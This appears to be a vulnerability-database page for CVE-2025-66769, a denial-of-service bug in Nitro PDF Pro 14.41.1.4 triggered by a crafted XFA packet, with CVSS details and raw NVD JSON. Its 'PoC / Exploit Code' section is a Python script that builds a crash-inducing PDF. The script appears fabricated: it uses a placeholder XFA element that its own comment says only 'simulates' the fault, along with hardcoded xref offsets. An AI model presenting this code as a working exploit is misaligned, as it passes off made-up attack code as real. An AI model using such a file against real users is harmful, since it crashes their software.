Security Vulnerability Report
中文
CVE-2025-66769 CVSS 7.5 HIGH

CVE-2025-66769

Published: 2026-04-13 16:16:25
Last Modified: 2026-04-23 16:51:39

Description

A NULL pointer dereference in Nitro PDF Pro for Windows v14.41.1.4 allows attackers to cause a Denial of Service (DoS) via a crafted XFA packet.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gonitro:nitro_pdf_pro:14.41.1.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nitro PDF Pro v14.41.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct def create_malicious_pdf(filename): # Minimal PDF structure with malformed XFA pdf_header = b"%PDF-1.4\n" obj_1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R /AcroForm << /XFA 3 0 R >> >>\nendobj\n" obj_2 = b"2 0 obj\n<< /Type /Pages /Kids [4 0 R] /Count 1 >>\nendobj\n" obj_3 = b"3 0 obj\n<< /Type /XFA /DataStream 5 0 R >>\nendobj\n" obj_4 = b"4 0 obj\n<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 6 0 R >> >> /MediaBox [0 0 612 792] /Contents 7 0 R >>\nendobj\n" # Malformed XFA stream designed to trigger Null Pointer Dereference # This payload simulates a structure that causes the parser to dereference a null pointer xfa_payload = b"<xdp:xdp xmlns:xdp='http://ns.adobe.com/xdp/'><trigger_crash>null_ptr_ref</trigger_crash></xdp:xdp>" obj_5 = f"5 0 obj\n<< /Length {len(xfa_payload)} >>\nstream\n{xfa_payload.decode('latin1')}\nendstream\nendobj\n".encode('latin1') obj_6 = b"6 0 obj\n<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\nendobj\n" obj_7 = b"7 0 obj\n<< /Length 0 >>\nstream\nendstream\nendobj\n" xref = b"xref\n0 8\n0000000000 65535 f \n0000000009 00000 n \n0000000095 00000 n \n0000000154 00000 n \n0000000213 00000 n \n0000000365 00000 n \n0000000475 00000 n \n0000000544 00000 n \n" trailer = b"trailer\n<< /Size 8 /Root 1 0 R >>\nstartxref\n613\n%%EOF" with open(filename, 'wb') as f: f.write(pdf_header + obj_1 + obj_2 + obj_3 + obj_4 + obj_5 + obj_6 + obj_7 + xref + trailer) # Generate the PoC file create_malicious_pdf('exploit_cve_2025_66769.pdf')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66769", "sourceIdentifier": "[email protected]", "published": "2026-04-13T16:16:24.620", "lastModified": "2026-04-23T16:51:39.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in Nitro PDF Pro for Windows v14.41.1.4 allows attackers to cause a Denial of Service (DoS) via a crafted XFA packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gonitro:nitro_pdf_pro:14.41.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "F7223A11-A180-47D4-AD94-7C184636BDC3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://jeroscope.com/advisories/2025/jero-2025-015/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.gonitro.com/", "source": "[email protected]", "tags": ["Product"]}]}}